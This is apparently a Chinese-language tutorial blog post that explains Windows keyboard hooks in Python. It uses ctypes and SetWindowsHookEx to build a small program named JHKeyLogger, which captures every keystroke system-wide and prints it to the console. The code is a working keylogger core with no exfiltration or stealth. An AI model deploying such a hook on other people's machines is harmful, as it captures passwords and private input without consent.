python 钩子函数

python 在windows下监听键盘按键

使用到的库

• ctypes(通过ctypes来调用Win32API, 主要就是调用钩子函数)

使用的Win32API

• SetWindowsHookEx(), 将用户定义的钩子函数添加到钩子链中, 也就是我们的注册钩子函数
• UnhookWindowsHookEx(), 卸载钩子函数
• CallNextHookEx()在我们的钩子函数中必须调用, 这样才能让程序的传递消息

在没有钩子函数的情况下windows程序运行机制

• 键盘输入 --> 系统消息队列 --> 对应应用程序的消息队列 --> 将消息发送到对应的窗口中

在有了钩子函数的情况下windows程序运行机制

• 键盘输入 --> 系统消息队列 --> 对应应用程序消息队列 --> 将消息发送到钩子链中 --> 消息一一调用完毕所有的钩子函数(需要调用CallNextHookEx函数才能将消息传递下去) --> 将消息发送到对应的窗口中

示例程序

• 注意:
  • 在程序中, 我们通过CFUNCTYPE返回一个类对象, 通过该类对象可以实例化出我们需要的c类型的函数, 但是如果不将他放在全局的话则会失去效果, 因为在C语言中函数是全局的

# -*- coding: utf-8 -*-
import os
import sys
from ctypes import *
from ctypes.wintypes import *


"""
define constants
"""
WH_KEYBOARD = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162


class JHKeyLogger(object):

    def __init__(self, user32, kernel32):
        """
        Description:
            Init the keylogger object, the property 'hook_' is the handle to control our hook function
        
        Args:
            @(dll)user32: just put windll.user32 here
            @(dll)kernel32: just put windll.kernel32 here

        Returns:
            None
        """
        self.user32_ = user32
        self.kernel32_ = kernel32
        self.hook_ = None
        
    def install_hookproc(self, hookproc):
        """
        Description:
            install hookproc function into message chain

        Args:
            @(c type function)hookproc: hookproc is the hook function to call

        Returns:
            @(bool):
                if SetWindowHookExA() function works successfully, return True
                else return False
        """
        self.hook_ = self.user32_.SetWindowsHookExA(
                                      WH_KEYBOARD,
                                      hookproc,
                                      self.kernel32_.GetModuleHandleW(None),
                                      0)
        if not self.hook_:
            return False
        return True

    def uninstall_hookproc(self):
        """
        Description：
            uninstall the hookproc function which means pick the hookproc pointer off the message chain
        Args:
            None
        Returns:
            None
        """
        if not self.hook_:
            return
        self.user32_.UnhookWindowsHookEx(self.hook_)
        self.hook_ = None

    def start(self):
        """
        Description:
            start logging, just get the message, the current thread will blocked by the GetMessageA() function
        
        Args:
            None
        Returns:
            None
        """
        msg = MSG()
        self.user32_.GetMessageA(msg, 0, 0, 0)

    def stop(self):
        self.uninstall_hookproc()


def hookproc(nCode, wParam, lParam):
    """
    Description:
        An user-defined hook function

    Attention:
        here we use the global variable named 'g_keylogger'
    """
    if wParam != WM_KEYDOWN:
        return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)

    pressed_key = chr(lParam[0])
    print pressed_key,
    # hit ctrl key to stop logging
    if CTRL_CODE == lParam[0]:
        g_keylogger.stop()
        sys.exit(-1)
    return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)


# Attention: pointer must be defined as a global variable
cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
pointer = cfunctype(hookproc)

g_keylogger = JHKeyLogger(windll.user32, windll.kernel32)

def main():
    if g_keylogger.install_hookproc(pointer):
        print 'install keylogger successfully!'
    g_keylogger.start()
    print 'hit ctrl to stop'
    
if __name__ == '__main__':
    main()